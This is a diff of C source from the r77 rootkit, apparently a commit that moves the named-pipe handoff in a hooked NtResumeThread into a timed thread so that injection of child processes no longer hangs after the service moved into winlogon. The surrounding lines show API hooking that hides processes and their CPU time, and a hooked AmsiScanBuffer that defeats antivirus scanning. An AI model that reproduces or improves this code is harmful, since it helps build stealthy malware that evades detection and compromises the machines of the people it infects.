@@ -221,16 +221,27 @@ static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
221
221
HANDLE pipe = CreateFileW (CHILD_PROCESS_PIPE_NAME , GENERIC_READ | GENERIC_WRITE , 0 , NULL , OPEN_EXISTING , 0 , NULL );
222
222
if (pipe != INVALID_HANDLE_VALUE )
223
223
{
224
- // Send the process ID to the r77 service.
225
- DWORD bytesWritten ;
226
- WriteFile ( pipe , & processId , sizeof ( DWORD ), & bytesWritten , NULL ) ;
224
+ WRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS parameters ;
225
+ parameters . PipeHandle = pipe ;
226
+ parameters . ProcessId = processId ;
227
227
228
- // Wait for the response. NtResumeThread should be called after r77 is injected.
229
- BYTE returnValue ;
230
- DWORD bytesRead ;
231
- ReadFile (pipe , & returnValue , sizeof (BYTE ), & bytesRead , NULL );
228
+ // In some cases, the WriteFile call to the named pipe hangs indefinitely.
229
+ // This bug was introduced after injecting the r77 service into winlogon, rather than in a hollowed process.
232
230
233
- CloseHandle (pipe );
231
+ // Therefore, we must execute this write operation in a separate thread.
232
+ // If this thread does not return within a given amount of time, we must assume that it failed,
233
+ // and just continue process initialization. The periodic process injection will catch this process
234
+ // within less than 100ms.
235
+
236
+ HANDLE thread = CreateThread (NULL , 0 , WriteChildProcessPipeThread , & parameters , 0 , NULL );
237
+ if (thread )
238
+ {
239
+ if (WaitForSingleObject (thread , 500 ) != WAIT_OBJECT_0 )
240
+ {
241
+ // WriteFile got stuck.
242
+ TerminateThread (thread , 0 );
243
+ }
244
+ }
234
245
}
235
246
}
236
247
@@ -639,6 +650,22 @@ static HRESULT WINAPI HookedAmsiScanBuffer(LPVOID amsiContext, LPVOID buffer, UL
639
650
return 0x80070057 ;
640
651
}
641
652
653
+ static DWORD WINAPI WriteChildProcessPipeThread (LPVOID parameter )
654
+ {
655
+ HANDLE pipe = ((PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS )parameter )-> PipeHandle ;
656
+ DWORD processId = ((PWRITE_CHILD_PROCESS_PIPET_HREAD_PARAMETERS )parameter )-> ProcessId ;
657
+
658
+ // Send the process ID to the r77 service.
659
+ DWORD bytesWritten ;
660
+ WriteFile (pipe , & processId , sizeof (DWORD ), & bytesWritten , NULL );
661
+
662
+ // Wait for the response. NtResumeThread should be called after r77 is injected.
663
+ BYTE returnValue ;
664
+ DWORD bytesRead ;
665
+ ReadFile (pipe , & returnValue , sizeof (BYTE ), & bytesRead , NULL );
666
+
667
+ CloseHandle (pipe );
668
+ }
642
669
static BOOL GetProcessHiddenTimes (PLARGE_INTEGER hiddenKernelTime , PLARGE_INTEGER hiddenUserTime , PLONGLONG hiddenCycleTime )
643
670
{
644
671
// Count hidden CPU usage explicitly instead of waiting for a call to NtQuerySystemInformation(SystemProcessInformation).
0 commit comments